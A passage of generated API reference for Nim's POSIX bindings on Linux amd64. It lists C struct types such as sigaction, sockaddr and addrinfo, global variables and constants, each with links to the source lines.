[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L246) ``` Tm {...}{.importc: "struct tm", header: "<time.h>", final, pure.} = object tm_sec*: cint ## Seconds [0,60]. tm_min*: cint ## Minutes [0,59]. tm_hour*: cint ## Hour [0,23]. tm_mday*: cint ## Day of month [1,31]. tm_mon*: cint ## Month of year [0,11]. tm_year*: cint ## Years since 1900. tm_wday*: cint ## Day of week [0,6] (Sunday =0). tm_yday*: cint ## Day of year [0,365]. tm_isdst*: cint ## Daylight Savings flag. tm_gmtoff*: clong tm_zone*: cstring ``` struct tm [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L266) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L266) ``` Itimerspec {...}{.importc: "struct itimerspec", header: "<time.h>", final, pure.} = object it_interval*: Timespec ## Timer period. it_value*: Timespec ## Timer expiration. ``` struct itimerspec [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L280) ``` Sig_atomic {...}{.importc: "sig_atomic_t", header: "<signal.h>".} = cint ``` Possibly volatile-qualified integer type of an object that can be accessed as an atomic entity, even in the presence of asynchronous interrupts. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L284) ``` Sigset {...}{.importc: "sigset_t", header: "<signal.h>", final, pure.} = object abi: array[1024 div 64, culong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L288) ``` SigEvent {...}{.importc: "struct sigevent", header: "<signal.h>", final, pure.} = object sigev_value*: SigVal ## Signal value. sigev_signo*: cint ## Signal number. sigev_notify*: cint ## Notification type. sigev_notify_function*: proc (x: SigVal) {...}{.noconv.} ## Notification func. sigev_notify_attributes*: ptr Pthread_attr ## Notification attributes. abi: array[12, int] ``` struct sigevent [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L292) ``` SigVal {...}{.importc: "union sigval", header: "<signal.h>", final, pure.} = object sival_ptr*: pointer ## pointer signal value; ## integer signal value not defined! ``` struct sigval [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L301) ``` Sigaction {...}{.importc: "struct sigaction", header: "<signal.h>", final, pure.} = object sa_handler*: proc (x: cint) {...}{.noconv.} ## Pointer to a signal-catching ## function or one of the macros ## SIG_IGN or SIG_DFL. sa_mask*: Sigset ## Set of signals to be blocked during execution of ## the signal handling function. sa_flags*: cint ## Special flags. sa_sigaction*: proc (x: cint; y: ptr SigInfo; z: pointer) {...}{.noconv.} ``` struct sigaction [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L305) ``` Stack {...}{.importc: "stack_t", header: "<signal.h>", final, pure.} = object ss_sp*: pointer ## Stack base or pointer. ss_size*: int ## Stack size. ss_flags*: cint ## Flags. ``` stack\_t [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L315) ``` SigStack {...}{.importc: "struct sigstack", header: "<signal.h>", final, pure.} = object ss_onstack*: cint ## Non-zero when signal stack is in use. ss_sp*: pointer ## Signal stack pointer. ``` struct sigstack [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L321) ``` SigInfo {...}{.importc: "siginfo_t", header: "<signal.h>", final, pure.} = object si_signo*: cint ## Signal number. si_code*: cint ## Signal code. si_errno*: cint ## If non-zero, an errno value associated with ## this signal, as defined in <errno.h>. si_pid*: Pid ## Sending process ID. si_uid*: Uid ## Real user ID of sending process. si_addr*: pointer ## Address of faulting instruction. si_status*: cint ## Exit value or signal. si_band*: int ## Band event for SIGPOLL. si_value*: SigVal ## Signal value. pad {...}{.importc: "_pad".}: array[128 - 56, uint8] ``` siginfo\_t [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L326) ``` Nl_item {...}{.importc: "nl_item", header: "<nl_types.h>".} = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L339) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L339) ``` Nl_catd {...}{.importc: "nl_catd", header: "<nl_types.h>".} = pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L340) ``` Sched_param {...}{.importc: "struct sched_param", header: "<sched.h>", final, pure.} = object sched_priority*: cint ``` struct sched\_param [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L344) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L344) ``` Timeval {...}{.importc: "struct timeval", header: "<sys/select.h>", final, pure.} = object tv_sec*: Time ## Seconds. tv_usec*: Suseconds ## Microseconds. ``` struct timeval [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L348) ``` TFdSet {...}{.importc: "fd_set", header: "<sys/select.h>", final, pure.} = object abi: array[1024 div 64, clong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L352) ``` Mcontext {...}{.importc: "mcontext_t", header: "<ucontext.h>", final, pure.} = object gregs: array[23, clonglong] fpregs: pointer reserved1: array[8, clonglong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L356) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L356) ``` Ucontext {...}{.importc: "ucontext_t", header: "<ucontext.h>", final, pure.} = object uc_flags: clong uc_link*: ptr Ucontext ## Pointer to the context that is resumed ## when this context returns. uc_stack*: Stack ## The stack used by this context. uc_mcontext*: Mcontext ## A machine-specific representation of the saved ## ## context. uc_sigmask*: Sigset ## The set of signals that are blocked when this ## context is active. ``` ucontext\_t [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L362) ``` Taiocb {...}{.importc: "struct aiocb", header: "<aio.h>", final, pure.} = object aio_fildes*: cint ## File descriptor. aio_lio_opcode*: cint ## Operation to be performed. aio_reqprio*: cint ## Request priority offset. aio_buf*: pointer ## Location of buffer. aio_nbytes*: csize_t ## Length of transfer. aio_sigevent*: SigEvent ## Signal number and value. next_prio: pointer abs_prio: cint policy: cint error_Code: cint return_value: clong aio_offset*: Off ## File offset. reserved: array[32, uint8] ``` struct aiocb [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L375) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L375) ``` Tposix_spawnattr {...}{.importc: "posix_spawnattr_t", header: "<spawn.h>", final, pure.} = object flags: cshort pgrp: Pid sd: Sigset ss: Sigset sp: Sched_param policy: cint pad: array[16, cint] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L394) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L394) ``` Tposix_spawn_file_actions {...}{.importc: "posix_spawn_file_actions_t", header: "<spawn.h>", final, pure.} = object allocated: cint used: cint actions: pointer pad: array[16, cint] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L404) ``` SockLen {...}{.importc: "socklen_t", header: "<sys/socket.h>".} = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L414) ``` TSa_Family {...}{.importc: "sa_family_t", header: "<sys/socket.h>".} = cushort ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L415) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L415) ``` SockAddr {...}{.importc: "struct sockaddr", header: "<sys/socket.h>", pure, final.} = object sa_family*: TSa_Family ## Address family. sa_data*: array[14, char] ## Socket address (variable-length data). ``` struct sockaddr [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L418) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L418) ``` Sockaddr_un {...}{.importc: "struct sockaddr_un", header: "<sys/un.h>", pure, final.} = object sun_family*: TSa_Family ## Address family. sun_path*: array[108, char] ## Socket path ``` struct sockaddr\_un [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L423) ``` Sockaddr_storage {...}{.importc: "struct sockaddr_storage", header: "<sys/socket.h>", pure, final.} = object ss_family*: TSa_Family ## Address family. ss_padding: array[126 - 8, char] ss_align: clong ``` struct sockaddr\_storage [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L429) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L429) ``` Tif_nameindex {...}{.importc: "struct if_nameindex", final, pure, header: "<net/if.h>".} = object if_index*: cuint ## Numeric index of the interface. if_name*: cstring ## Null-terminated name of the interface. ``` struct if\_nameindex [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L435) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L435) ``` IOVec {...}{.importc: "struct iovec", pure, final, header: "<sys/uio.h>".} = object iov_base*: pointer ## Base address of a memory region for input or output. iov_len*: csize_t ## The size of the memory pointed to by iov_base. ``` struct iovec [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L441) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L441) ``` Tmsghdr {...}{.importc: "struct msghdr", pure, final, header: "<sys/socket.h>".} = object msg_name*: pointer ## Optional address. msg_namelen*: SockLen ## Size of address. msg_iov*: ptr IOVec ## Scatter/gather array. msg_iovlen*: csize_t ## Members in msg_iov. msg_control*: pointer ## Ancillary data; see below. msg_controllen*: csize_t ## Ancillary data buffer len. msg_flags*: cint ## Flags on received message. ``` struct msghdr [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L446) ``` Tcmsghdr {...}{.importc: "struct cmsghdr", pure, final, header: "<sys/socket.h>".} = object cmsg_len*: csize_t ## Data byte count, including the cmsghdr. cmsg_level*: cint ## Originating protocol. cmsg_type*: cint ## Protocol-specific type. ``` struct cmsghdr [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L457) ``` TLinger {...}{.importc: "struct linger", pure, final, header: "<sys/socket.h>".} = object l_onoff*: cint ## Indicates whether linger option is enabled. l_linger*: cint ## Linger time, in seconds. ``` struct linger [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L463) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L463) ``` InPort = uint16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L468) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L468) ``` InAddrScalar = uint32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L469) ``` InAddrT {...}{.importc: "in_addr_t", pure, final, header: "<netinet/in.h>".} = uint32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L472) ``` InAddr {...}{.importc: "struct in_addr", pure, final, header: "<netinet/in.h>".} = object s_addr*: InAddrScalar ``` struct in\_addr [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L475) ``` Sockaddr_in {...}{.importc: "struct sockaddr_in", pure, final, header: "<netinet/in.h>".} = object sin_family*: TSa_Family ## AF_INET. sin_port*: InPort ## Port number. sin_addr*: InAddr ## IP address. sin_zero: array[12 - 4, uint8] ``` struct sockaddr\_in [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L479) ``` In6Addr {...}{.importc: "struct in6_addr", pure, final, header: "<netinet/in.h>".} = object s6_addr*: array[0 .. 15, char] ``` struct in6\_addr [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L486) ``` Sockaddr_in6 {...}{.importc: "struct sockaddr_in6", pure, final, header: "<netinet/in.h>".} = object sin6_family*: TSa_Family ## AF_INET6. sin6_port*: InPort ## Port number. sin6_flowinfo*: uint32 ## IPv6 traffic class and flow information. sin6_addr*: In6Addr ## IPv6 address. sin6_scope_id*: uint32 ## Set of interfaces for a scope. ``` struct sockaddr\_in6 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L490) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L490) ``` Tipv6_mreq {...}{.importc: "struct ipv6_mreq", pure, final, header: "<netinet/in.h>".} = object ipv6mr_multiaddr*: In6Addr ## IPv6 multicast address. ipv6mr_interface*: cuint ## Interface index. ``` struct ipv6\_mreq [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L498) ``` Hostent {...}{.importc: "struct hostent", pure, final, header: "<netdb.h>".} = object h_name*: cstring ## Official name of the host. h_aliases*: cstringArray ## A pointer to an array of pointers to ## alternative host names, terminated by a ## null pointer. h_addrtype*: cint ## Address type. h_length*: cint ## The length, in bytes, of the address. h_addr_list*: cstringArray ## A pointer to an array of pointers to network ## ## addresses (in network byte order) for the ## host, ## terminated by a null pointer. ``` struct hostent [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L503) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L503) ``` Tnetent {...}{.importc: "struct netent", pure, final, header: "<netdb.h>".} = object n_name*: cstring ## Official, fully-qualified (including the ## domain) name of the host. n_aliases*: cstringArray ## A pointer to an array of pointers to ## alternative network names, terminated by a ## null ## pointer. n_addrtype*: cint ## The address type of the network. n_net*: uint32 ## The network number, in host byte order. ``` struct netent [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L515) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L515) ``` Protoent {...}{.importc: "struct protoent", pure, final, header: "<netdb.h>".} = object p_name*: cstring ## Official name of the protocol. p_aliases*: cstringArray ## A pointer to an array of pointers to ## alternative protocol names, terminated by ## a null ## pointer. p_proto*: cint ## The protocol number. ``` struct protoent [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L525) ``` Servent {...}{.importc: "struct servent", pure, final, header: "<netdb.h>".} = object s_name*: cstring ## Official name of the service. s_aliases*: cstringArray ## A pointer to an array of pointers to ## alternative service names, terminated by ## a null pointer. s_port*: cint ## The port number at which the service ## resides, in network byte order. s_proto*: cstring ## The name of the protocol to use when ## contacting the service. ``` struct servent [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L533) ``` AddrInfo {...}{.importc: "struct addrinfo", pure, final, header: "<netdb.h>".} = object ai_flags*: cint ## Input flags. ai_family*: cint ## Address family of socket. ai_socktype*: cint ## Socket type. ai_protocol*: cint ## Protocol of socket. ai_addrlen*: SockLen ## Length of socket address. ai_addr*: ptr SockAddr ## Socket address of socket. ai_canonname*: cstring ## Canonical name of service location. ai_next*: ptr AddrInfo ## Pointer to next in list. ``` struct addrinfo [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L544) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L544) ``` TPollfd {...}{.importc: "struct pollfd", pure, final, header: "<poll.h>".} = object fd*: cint ## The following descriptor being polled. events*: cshort ## The input event flags (see below). revents*: cshort ## The output event flags (see below). ``` struct pollfd [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L555) ``` Tnfds {...}{.importc: "nfds_t", header: "<poll.h>".} = culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L560) ``` Rusage {...}{.importc: "struct rusage", header: "<sys/resource.h>", bycopy.} = object ru_utime*, ru_stime*: Timeval ru_maxrss*, ru_ixrss*, ru_idrss*, ru_isrss*, ru_minflt*, ru_majflt*, ru_nswap*, ru_inblock*, ru_oublock*, ru_msgsnd*, ru_msgrcv*, ru_nsignals*, ru_nvcsw*, ru_nivcsw*: clong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L701) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L701) ``` RLimit {...}{.importc: "struct rlimit", header: "<sys/resource.h>", pure, final.} = object rlim_cur*: int rlim_max*: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1099) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1099) Vars ---- ``` errno: cint ``` error variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L563) ``` h_errno: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L564) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L564) ``` daylight: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L565) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L565) ``` timezone: clong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L566) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L566) ``` in6addr_any: In6Addr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L162) ``` in6addr_loopback: In6Addr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L163) Consts ------ ``` MM_NULLLBL = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L66) ``` MM_NULLSEV = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L67) ``` MM_NULLMC = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L68) ``` MM_NULLTXT = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L69) ``` MM_NULLACT = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L70) ``` MM_NULLTAG = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L71) ``` STDERR_FILENO = 2 ``` File number of stderr; [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L73) ``` STDIN_FILENO = 0 ``` File number of stdin; [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L74) ``` STDOUT_FILENO = 1 ``` File number of stdout; [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L75) ``` DT_UNKNOWN = 0 ``` Unknown file type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L77) ``` DT_FIFO = 1 ``` Named pipe, or FIFO. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L78) ``` DT_CHR = 2 ``` Character device. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L79) ``` DT_DIR = 4 ``` Directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L80) ``` DT_BLK = 6 ``` Block device. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L81) ``` DT_REG = 8 ``` Regular file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L82) ``` DT_LNK = 10 ``` Symbolic link. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L83) ``` DT_SOCK = 12 ``` UNIX domain socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L84) ``` DT_WHT = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L85) ``` StatHasNanoseconds = true ``` Boolean flag that indicates if the system supports nanosecond time resolution in the fields of `Stat`. Note that the nanosecond based fields (`Stat.st_atim`, `Stat.st_mtim` and `Stat.st_ctim`) can be accessed without checking this flag, because this module defines fallback procs when they are not available. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L90) ``` Sockaddr_un_path_length = 108 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L411) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L411) ``` AIO_ALLDONE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L5) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L5) ``` AIO_CANCELED = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L6) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L6) ``` AIO_NOTCANCELED = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L7) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L7) ``` LIO_NOP = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L8) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L8) ``` LIO_NOWAIT = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L9) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L9) ``` LIO_READ = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L10) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L10) ``` LIO_WAIT = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L11) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L11) ``` LIO_WRITE = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L12) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L12) ``` RTLD_LAZY = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L15) ``` RTLD_NOW = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L16) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L16) ``` RTLD_GLOBAL = 256'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L17) ``` RTLD_LOCAL = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L18) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L18) ``` E2BIG = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L21) ``` EACCES = 13'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L22) ``` EADDRINUSE = 98'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L23) 